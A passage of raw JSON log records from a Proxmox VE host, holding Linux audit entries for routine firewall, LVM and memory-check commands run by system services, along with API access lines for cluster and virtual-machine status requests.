euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965415812,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 939"} {"@timestamp":1781964525311,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.311:61408): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966141160,"@rawstring":"node=pve type=EXECVE msg=audit(1781966141.160:68613): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964830810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964830.810:62818): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60271 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965513279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965513.279:65918): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964134295,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964134.295:59721): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6900 a1=64f8d73bfab0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57349 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966144465,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966144.465:68615): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740f360 a1=64f8d73c6460 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65890 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965415812,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964525309,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.309:61407): argc=1 a0=\"date\""} {"@timestamp":1781966141160,"@rawstring":"node=pve type=EXECVE msg=audit(1781966141.160:68612): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964830797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964830.797:62816): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965508270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965508.270:65916): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964133053,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964133.053:59720): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57348 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966144431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966144.431:68614): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740f840 a1=64f8d73b7e60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65889 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965415812,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964525305,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.305:61405): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966141158,"@rawstring":"node=pve type=EXECVE msg=audit(1781966141.158:68611): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964830797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964830.797:62815): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965508270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965508.270:65915): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964133044,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964133.044:59717): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57347 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966141160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966141.160:68613): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72544c0 a1=637ee7253090 a2=637ee7240ef0 a3=8 items=2 ppid=65884 pid=65886 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965415812,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964525299,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.299:61404): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966140552,"@rawstring":"node=pve type=EXECVE msg=audit(1781966140.552:68610): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964825790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.790:62813): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965508263,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965508.263:65913): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956170 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964128036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964128.036:59714): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57346 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966141160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966141.160:68612): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252a00 a1=637ee7254330 a2=637ee7240ef0 a3=8 items=2 ppid=65884 pid=65885 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965415812,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964525293,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.293:61403): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966140535,"@rawstring":"node=pve type=EXECVE msg=audit(1781966140.535:68607): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964825790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.790:62812): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965508263,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965508.263:65912): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956170 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964128022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964128.022:59711): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57345 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966141158,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966141.158:68611): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242ea0 a1=637ee7252f80 a2=637ee7257220 a3=8 items=2 ppid=846 pid=65883 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965414714,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 897"} {"@timestamp":1781964525286,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.286:61402): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966135614,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.614:68604): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964825785,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.785:62810): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965506015,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965506.015:65908): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcc76bd140 a1=6207fa8ad310 a2=6207fa8a6680 a3=5 items=1 ppid=63303 pid=63304 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125539,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.539:59708): arch=c000003e syscall=59 success=yes exit=0 a0=5d45a34b00e0 a1=5d45a34ace60 a2=5d45a348e680 a3=5 items=2 ppid=57338 pid=57344 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966140552,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966140.552:68610): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65882 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965414714,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964525279,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.279:61401): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966135610,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.610:68603): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964825785,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.785:62809): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505868,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.868:65890): arch=c000003e syscall=59 success=no exit=-2 a0=7ffed7398c20 a1=5a43b0dcd310 a2=5a43b0dc6680 a3=5 items=1 ppid=63284 pid=63285 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.535:59707): arch=c000003e syscall=59 success=yes exit=0 a0=5d4588920ac8 a1=7ffe1b363af0 a2=5d45a348e680 a3=5d458890424e items=2 ppid=57338 pid=57340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966140535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966140.535:68607): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65881 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965412709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:32 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964525274,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.274:61399): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966135609,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.609:68602): argc=1 a0=\"date\""} {"@timestamp":1781964825223,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.223:62805): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd18d11070 a1=5f3cb34193d0 a2=5f3cb33f7680 a3=5 items=1 ppid=60261 pid=60262 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965503254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965503.254:65880): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899560b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125534,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.534:59706): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe1b363ab0 a1=5d45a3495360 a2=5d45a348e680 a3=5 items=2 ppid=57338 pid=57339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.614:68604): arch=c000003e syscall=59 success=yes exit=0 a0=5774cd212b20 a1=5774cd21ea30 a2=5774cd1ec680 a3=5 items=2 ppid=65874 pid=65880 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965412709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964525270,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.270:61398): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966135602,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.602:68600): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964825142,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.142:62787): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcaf5f6c70 a1=5e164a529390 a2=5e164a507680 a3=5 items=1 ppid=60242 pid=60243 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965503254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965503.254:65879): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899560b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125530,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.530:59704): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135610,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.610:68603): arch=c000003e syscall=59 success=yes exit=0 a0=5774bd75aac8 a1=7ffffb981bd0 a2=5774cd1ec680 a3=5774bd73e24e items=2 ppid=65874 pid=65876 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965412709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781964525264,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.264:61397): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966135594,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.594:68599): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964820772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964820.772:62777): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965503246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965503.246:65877): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955ff0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63273 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125523,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.523:59703): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135609,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.609:68602): arch=c000003e syscall=59 success=yes exit=0 a0=7ffffb981b90 a1=5774cd20e1c0 a2=5774cd1ec680 a3=5 items=2 ppid=65874 pid=65875 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965412709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964525259,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.259:61396): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966135584,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.584:68598): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964820772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964820.772:62776): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965503246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965503.246:65876): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955ff0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63273 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125516,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.516:59702): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135602,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.602:68600): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc14aab0 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65874 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965412709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964525255,"@rawstring":"node=pve type=EXECVE msg=audit(1781964525.255:61395): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966135575,"@rawstring":"node=pve type=EXECVE msg=audit(1781966135.575:68597): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964820764,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964820.764:62774): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965498234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965498.234:65874): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955f30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964125.509:59701): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 